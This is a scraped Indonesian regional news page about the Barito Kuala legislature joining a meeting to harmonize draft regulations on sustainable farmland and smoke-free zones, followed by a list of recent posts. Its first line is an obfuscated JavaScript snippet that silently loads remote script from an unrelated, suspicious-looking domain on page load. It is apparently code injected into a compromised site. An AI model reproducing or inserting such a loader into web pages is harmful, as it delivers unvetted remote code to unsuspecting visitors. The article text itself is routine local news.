(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BARITO KUALA

DPRD Kabupaten Barito Kuala Berperan Aktif dalam Harmonisasi Ranperda


KANALKALIMANTAN.COM,MARABAHAN – DPRD Kabupaten Barito Kuala turut berperan dalam kegiatan harmonisasi rancangan peraturan daerah (Ranperda) yang diadakan oleh Kantor Wilayah Kementerian Hukum dan HAM Kalimantan Selatan.

Kegiatan ini sebagai tindak lanjut dari permohonan pengharmonisasian yang diajukan melalui surat Ketua DPRD Kabupaten Barito Kuala Nomor 170/179/DPRD tanggal 8 Mei 2023.

Dalam rapat yang digelar di Balai Pertemuan Garuda pada Selasa (26/09), DPRD Kabupaten Barito Kuala turut serta dalam pembahasan dua Ranperda penting, yaitu Perlindungan Lahan Pertanian Pangan Berkelanjutan dan Perubahan Peraturan Daerah Kabupaten Barito Kuala Nomor 5 Tahun 2015 tentang Kawasan Tanpa Rokok.

Keterlibatan aktif DPRD dalam rapat ini menunjukkan keseriusan mereka dalam mengambil bagian dalam penyusunan regulasi yang berdampak langsung pada masyarakat. Peran DPRD turut memperkaya diskusi untuk mencapai hasil yang lebih baik.

JFT Perancang Peraturan Perundang-undangan Ahli Madya, Bahjatul Mardiah, menyampaikan apresiasi atas kontribusi DPRD Kabupaten Barito Kuala.

Dalam sambutannya, Bahjatul Mardiah mengajak anggota DPRD untuk berdiskusi dan memberikan masukan yang berharga terhadap dua Ranperda tersebut.

“Mari bersama-sama kita berdiskusi untuk memberikan masukan terhadap Ranperda Kabupaten Barito Kuala, sehingga nantinya dapat memberikan perlindungan lahan pertanian pangan berkelanjutan dan Ranperda tentang Kawasan Tanpa Rokok yang bertujuan untuk mempromosikan kesehatan masyarakat dan menciptakan lingkungan yang bebas dari asap rokok di wilayah Barito Kuala,” ujar Bahjatul.

Dengan demikian, peran DPRD Kabupaten Barito Kuala dalam menyumbangkan ide dan masukan dalam proses harmonisasi Ranperda ini tidak hanya mencerminkan komitmen mereka terhadap kepentingan masyarakat, tetapi juga mendukung pembuatan regulasi yang lebih efektif dan responsif terhadap kebutuhan lokal.(www.kanalkalimantan.com/kk)

Reporter : kk
Editor : kk


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.